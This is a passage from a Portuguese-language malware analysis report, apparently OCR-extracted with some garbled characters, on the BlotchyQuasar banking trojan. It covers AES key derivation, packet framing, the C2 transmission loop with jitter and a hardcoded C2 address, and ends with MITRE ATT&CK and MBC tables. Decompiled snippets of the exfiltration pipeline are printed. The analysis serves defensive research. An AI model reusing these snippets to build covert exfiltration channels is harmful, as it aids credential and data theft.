rapidas por ferramentas de inspecao de trafego genéricas ou analistas menos
experientes.

Dentro do pipeline de exfiltracdo, a compressao QuickLZ cumpre, portanto,
um papel duplo: otimiza o volume de dados transmitidos e contribui para a
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furtividade da comunicacgao, preparando o payload para a criptografia sem deixar
vestigios estruturais evidentes do conteudo original.

Criptografia Simétrica (AES / Rijndael)

Na pipeline de exfiltragcdo do BlotchyQuasar, a criptografia simétrica
representa a ultima camada de protecao aplicada aos dados antes da transmissao
pela rede, sendo responsavel por garantir a confidencialidade do conteudo
exfiltrado e dificultar a inspecao de trafego por solugdes de seguranca. O malware
utiliza o algoritmo AES, por meio da implementagcéo RijndaelManaged do .NET,
centralizada no namespace CryptoHandler.

A chave criptogréfica ndo é armazenada diretamente como um array binario.
Emvez disso, 0 malware deriva a chave a partir de uma string definida em tempo de
compilagao (RuntimeConfig. PASSWORD). Essa string é processada pela funcéo
CryptoHelper.InitializeKey, que utiliza o algoritmo MD5 para gerar um hash de 128
bits, o qual passa a ser utilizado como chave simétrica pelo Rijndael.

public static void InitializeKey(string key)

{
using (MD5CryptoServiceProvider md5 = new MD5CryptoServiceProvider())

{
CryptoHelper._key = md5.ComputeHash(Encoding.UTF8.GetBytes(key));

}

} T ———

Embora funcional, essa abordagem apresenta uma fragilidade estrutural: a
presenca da senha em texto plano no binario permite que um analista, ao obter a
amostra, recupere a chave e decifre o trafego capturado.

A cifragem propriamente dita ocorre na fungao Encrypt. O malware instancia um
objeto RijndaelManaged com a chave previamente derivada e gera dinamicamente
um Vetor de Inicializacao (IV) para cada pacote por meio de GeneratelV. Esse IV é
escrito em claro nos primeiros 16 bytes do payload criptografado, seguido
imediatamente pelos dados cifrados. Essa técnica garante que payloads idénticos
resultem em cifras distintas, evitando correlagdo direta por repeticao de padrdes.

public static byte[] Encrypt(byte[] input)
{
using (MemoryStream memoryStream = new MemoryStream())
using (RijndaelManaged rijndael = new RijndaelManaged { Key = CryptoHelper._key })
{
rijndael.GeneratelV();
using (CryptoStream cryptoStream =
new CryptoStream(memoryStream, rijndael.CreateEncryptor(),
CryptoStreamMode.Write))
{
memoryStream.Write(rijndael.lV, O, rijndael.lV.Length);
cryptoStream.Write(input, 0, input.Length);
}
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return memoryStream.ToArray();

}
}

No fluxo operacional do malware, a criptografia é aplicada sempre apds a
serializagdo e a compressao QuickLZ, o que é uma escolha técnica coerente:
dados comprimidos apresentam maior entropia e, quando cifrados, tornam-se
ainda mais opacos para inspecao por IDS/IPS ou analise estatistica simples.

No caminho inverso, durante o recebimento de comandos do C2, o malware
executa a funcdo de decifragcdo lendo inicialmente os primeiros 16 bytes do
payload para extrair o IV, configurando o mecanismo Rijndael com a mesma chave
derivada e processando o restante do buffer. Caso a chave ou o IV néao
correspondam, o processo falha silenciosamente, interrompendo a cadeia de
processamento do pacote.

Dentro do pipeline de exfiltragdo, a criptografia cumpre trés objetivos centrais:
proteger o conteudo exfiltrado, dificultar a analise de trafego em transito e garantir
integridade légica da comunicacao entre cliente e C2. Apesar de empregar praticas
corretas como IV dindmico por pacote, o uso de MD5 para derivacao de chave e a
dependéncia de uma senha estatica representam um ponto exploravel do ponto de
vista defensivo e de analise forense.

Transmissao e Exfiltracao

A etapa de Transmissdo e Exfiltracdo no malware BlotchyQuasar
representa a materializagcao final de toda a Pipeline de Exfiltracao de Dados. Apds
os dados serem serializados, comprimidos e criptografados, o malware estabelece
uma comunicacao persistente e resiliente com sua infraestrutura de Comando e
Controle (C2), garantindo que as informacdes sensiveis coletadas sejam
efetivamente entregues ao operador da ameacga.

A infraestrutura de rede é inicializada logo no inicio da execug¢do do
malware, no método SetupEnvironment. E nesse ponto que o BlotchyQuasar
revela um host C2 hardcoded, utilizado como ponto inicial para a construgéo da
fila de servidores de comando. Na amostra analisada, o endereco
185[.]167[.]60[.]175[:]1443 ¢é passado diretamente para o método
HostParser.GetHostsList, indicando que o malware pode suportar multiplos hosts,
mas parte de um endpoint estatico embutido no binario.

MainFormTrojan._hosts =

new HostQueueManager(
HostParser.GetHostsList("185.167.60.175:443"));

Esse trecho evidencia que o IP ndo é apenas um destino final, mas um seed
para a construcao da infraestrutura C2. O HostQueueManager organiza os hosts
em uma fila interna, permitindo que o malware rotacione automaticamente entre
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servidores disponiveis caso uma conexao falhe. Caso essa fila esteja vazia ou a
criacdo do mutex falhe, o malware entra em estado de desconexdo controlada,
interrompendo sua execugao para evitar comportamentos anémalos visiveis.

Uma vez inicializado o ambiente, o cliente de rede é preparado por meio de
InitializeClient, dando inicio ao loop de comunicagao persistente. A transmissao
dos dados ocorre sobre sockets TCP, mantendo sessdes abertas e reutilizaveis, o
que reduz o overhead de conexdes frequentes e se assemelha ao comportamento
legitimo de aplicagdes que utilizam canais persistentes.

Antes de qualquer envio fisico pela rede, o malware constr6i manualmente cada
pacote de saida. Esse processo ocorre no método BuildPacket, que consolida
todas as camadas anteriores da pipeline e define o formato final do payload
exfiltrado. O BlotchyQuasar utiliza um cabecgalho binario de 4 bytes, que precede
o payload protegido e informa ao servidor C2 exatamente quantos bytes devem ser
lidos para reconstrucao do pacote.

private byte[] BuildPacket(byte[] payload)

{
payload = QuickLZ.Compress(payload, 3);
payload = CryptoHelper.Encrypt(payload);

byte[] array = new byte[payload.Length + this. HEADER_SIZE];
Array.Copy(BitConverter.GetBytes(payload.Length), array, this. HEADER_SIZE);
Array.Copy(payload, 0, array, this. HEADER_SIZE, payload.Length);

return array;

Esse formato elimina ambiguidades na leitura do stream TCP e permite que
o servidor processe multiplos pacotes sequenciais sem depender de delimitadores
textuais ou protocolos de alto nivel.

O envio efetivo dos dados é realizado de forma assincrona, utilizando filas internas
de buffers e threads de trabalho separadas. Quando um maddulo do malware (por
exemplo, captura de tela, coleta de credenciais ou keylogging) solicita o envio de
dados, o pacote nao é transmitido imediatamente. Em vez disso, ele é enfileirado e
processado poruma thread dedicada de rede, evitando bloqueios no fluxo principal
do malware e reduzindo picos perceptiveis de uso de CPU ou rede.

Esse modelo é particularmente eficaz para a exfiltragcdo de grandes volumes de
dados, como streams continuos de captura de tela, pois permite que o malware
mantenha responsividade enquanto transmite dados em segundo plano.

Para manter a persisténcia da comunicagao, o BlotchyQuasar implementa
um loop de reconexao continuo. Caso a conexao com o C2 seja perdida, o malware
tenta se reconectar indefinidamente, alternando entre os hosts disponiveis na fila.
Para evitar padroes claros de beaconing, o intervalo entre tentativas nao é fixo: um
valor aleatorio (jitter) € adicionado ao delay base configurado.
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Thread.Sleep(RuntimeConfig. RECONNECTDELAY + new Random().Next(250, 750));

Esse pequeno detalhe reduz significativamente a eficacia de deteccgdes
baseadas emintervalos regulares de trafego. Além disso, parametros de TCP Keep-
Alive sdo configurados para manter conexdes abertas mesmo em ambientes com
NAT ou firewalls intermediarios, reforgcando a resiliéncia do canal de exfiltragao.

Do ponto de vista operacional, a pipeline de transmissao do BlotchyQuasar
demonstra um alto grau de maturidade. O malware combina hosts hardcoded,
rotagdo automatica de C2, exfiltragdo assincrona, formato binario customizado e
técnicas simples de evasdo temporal para garantir que os dados roubados sejam
transmitidos de forma confiavel, discreta e continua.

Em esséncia, a exfiltragdo no BlotchyQuasar nao € um evento pontual, mas um
servigo persistente de entrega de dados, projetado para operar silenciosamente
por longos periodos sem levantar suspeitas imediatas no sistema comprometido
ou na infraestrutura de rede monitorada.

TABELA CONSOLIDADADE TTPs (MITRE ATT&CK ENTERPRISE)

Command and
Scripting
T1059.003 Interpreter:
Windows
Command Shell
Command and
Scripting
Interpreter:
Visual Basic

Execucao de cmd.exe para rodar

arquivos .bat, realizar limpeza de

diretério, download de payloads e
atualizacdo do malware.

Criacao e execucéao de script VBS
para coleta de contatos do Outlook
(wscript.exe).

T1059.005

. " Execugéo inicial depende do usuario
User Execution: . . . , .
T1204.002 .. . abrir o arquivo malicioso (vetor tipico
Malicious File Y.
de malspam bancario).

Boot or Logon
Autostart
Execution:

Registry Run Keys
/ Startup Folder

Criacéo de atalho .lnk na pasta
Startup para garantir execugao
automatica apos logon.

T1547.001

T1053.005 Task/Job:

Scheduled Task

via tarefas agendadas em builds
derivados.

Uso extensivo de XOR customizado,
Base64 e criptografia AES para
ocultar strings, payloads e
comunicagao.

Obfuscated Files
or Information

Impair Defenses:
Disable or Modify
Tools

Encerramento forgcado de processos

T1562.001 (ex.: Chrome), interferéncia em

Scheduled Capacidade de persisténcia adicional
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T1036.005

T1070.004

T1555.003

T1056.001

T1056.002
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Modify Registry

Masquerading:
Match Legitimate
Name or
Location
Indicator
Removal on
Host: File
Deletion
Credentials from
Web Browsers
Input Capture:
Keylogging
Input Capture:
GUI Input
Capture
System
Information
Discovery

ferramentas de seguranca e
manipulagcao do ambiente grafico.
Alteracao de chaves de registro para
modificar cursores do sistema (cursor
transparente).

DLL maliciosa (libfilezilla-43.dll)
carregada via side-loading por
executavel legitimo (filezilla-server-
gui.exe).

Limpeza deliberada do diretério de
execucao durante o processo de
atualizagdo remota.

Extracdo de credenciais do Chrome e
Edge via SQLite + DPAPI.
Keylogger baseado em hooks de
teclado (SetWindowsHooKEX).
Captura de credenciais via
formularios fraudulentos (overlays
bancarios).

Coleta de versdo do SO, arquitetura,
hostname, uptime e hardware ID.

T1518.001

Software
Discovery:
Security Software

Enumeracao de antivirus e firewall via
WMI (Security Center).

T1057

T1083

T1010

T1113

T1005

T1114.001

T1573.001

Process
Discovery
File and Directory
Discovery
Application
Window
Discovery

Screen Capture

Data from Local
System
Email Collection:
Local Email
Collection
Encrypted
Channel:
Symmetric
Cryptography
Non-Application
Layer Protocol
Ingress Tool
Transfer
Fallback
Channels

Enumeracao de processos ativos para

envio ao C2.

Verificagao de diretoérios relacionados
a bancos (Warsaw, Trusteer, etc.).
Monitoramento continuo da janela

ativa para identificar contexto
bancario.
Captura de tela via BitBlt e APl de
Magnification.
Coleta de arquivos locais (logs,
credenciais, contatos extraidos).

Coleta de contatos do Outlook via
automacao COM (script VBS).

Comunicacao C2 criptografada via
AES/Rijndael.

Protocolo proprietario sobre TCP, sem
uso de HTTP/HTTPS.
Download remoto de payloads (curl)
durante atualizacdo do malware.
Uso de host hardcoded como

bootstrap + rotacéo de servidores C2.
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Exclusdo massiva de arquivos durante
rotinas de limpeza e update.
Inhibit System Remocéo de artefatos que dificultam

Recovery recuperagao e analise forense.

T1485 Data Destruction

T1490

MAPEAMENTO MALWARE BEHAVIOR CATALOG (MBC)

O BlotchyQuasar implementa um conjunto de técnicas amplamente
reconhecidas no framework Malware Behavior Catalog, no qual é possivel

identificar as capacidades identificadas durante a analise e implementadas pela
amostra.

C2 Communication
Encrypted C2 Channel
C2 Bootstrap / Fallback
Remote Command Execution
Command-Line Execution
Script Execution
Startup Folder Persistence
Obfuscated Code
Masquerading
Artifact Cleanup
User Interface Suppression
Keylogging
Credential Harvesting
GUI Credential Capture
System Information Discovery
Security Software Discovery
Process Discovery
Application Window Discovery
Screen Capture
Local Data Collection
Email Data Collection
Data Exfiltration
Self-Update
Self-Termination
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